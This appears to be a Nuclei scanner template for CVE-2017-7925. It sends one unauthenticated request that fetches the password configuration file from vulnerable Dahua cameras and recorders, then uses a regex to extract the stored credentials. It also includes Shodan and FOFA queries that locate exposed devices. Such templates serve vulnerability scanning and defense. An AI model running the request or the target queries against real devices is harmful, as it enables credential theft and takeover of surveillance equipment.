CVE-2017-7925: Dahua Security - Configuration File Disclosure

id: CVE-2017-7925

info:
  name: Dahua Security - Configuration File Disclosure
  author: E1A,none
  severity: critical
  description: |
    A Password in Configuration File issue was discovered in Dahua DH-IPC-HDBW23A0RN-ZS, DH-IPC-HDBW13A0SN, DH-IPC-HDW1XXX, DH-IPC-HDW2XXX, DH-IPC-HDW4XXX, DH-IPC-HFW1XXX, DH-IPC-HFW2XXX, DH-IPC-HFW4XXX, DH-SD6CXX, DH-NVR1XXX, DH-HCVR4XXX, DH-HCVR5XXX, DHI-HCVR51A04HE-S3, DHI-HCVR51A08HE-S3, and DHI-HCVR58A32S-S2 devices. The password in configuration file vulnerability was identified, which could lead to a malicious user assuming the identity of a privileged user and gaining access to sensitive information.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive information, potentially compromising the security of the system.
  remediation: |
    To remediate this vulnerability, ensure that the configuration file is properly secured and access to it is restricted to authorized personnel only.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2017-7925
    - https://ics-cert.us-cert.gov/advisories/ICSA-17-124-02
    - http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-7925
    cwe-id: CWE-522,CWE-260
    epss-score: 0.80551
    epss-percentile: 0.99079
    cpe: cpe:2.3:o:dahuasecurity:dh-ipc-hdbw23a0rn-zs_firmware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dahuasecurity
    product: dh-ipc-hdbw23a0rn-zs_firmware
    shodan-query: http.favicon.hash:2019488876
    fofa-query: icon_hash=2019488876
  tags: cve,cve2017,dahua,camera,dahuasecurity,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/current_config/passwd"

    matchers:
      - type: dsl
        dsl:
          - contains(to_lower(body), "ugm")
          - contains(to_lower(body), "id:name:passwd")
          - status_code == 200
        condition: and

    extractors:
      - type: regex
        group: 1
        regex:
          - 1:(.*:.*):1:CtrPanel
# digest: 490a0046304402200a72fb6585b17cd66379e71a3cca5bcd786319f02b4fdd889cf4f49f4a32cd7a02203461e1d68b2f87cdce84a0281352d93bfd9d3b72a188f596f62f543b42c94e2d:922c64590222798bb761d5b6d8e72950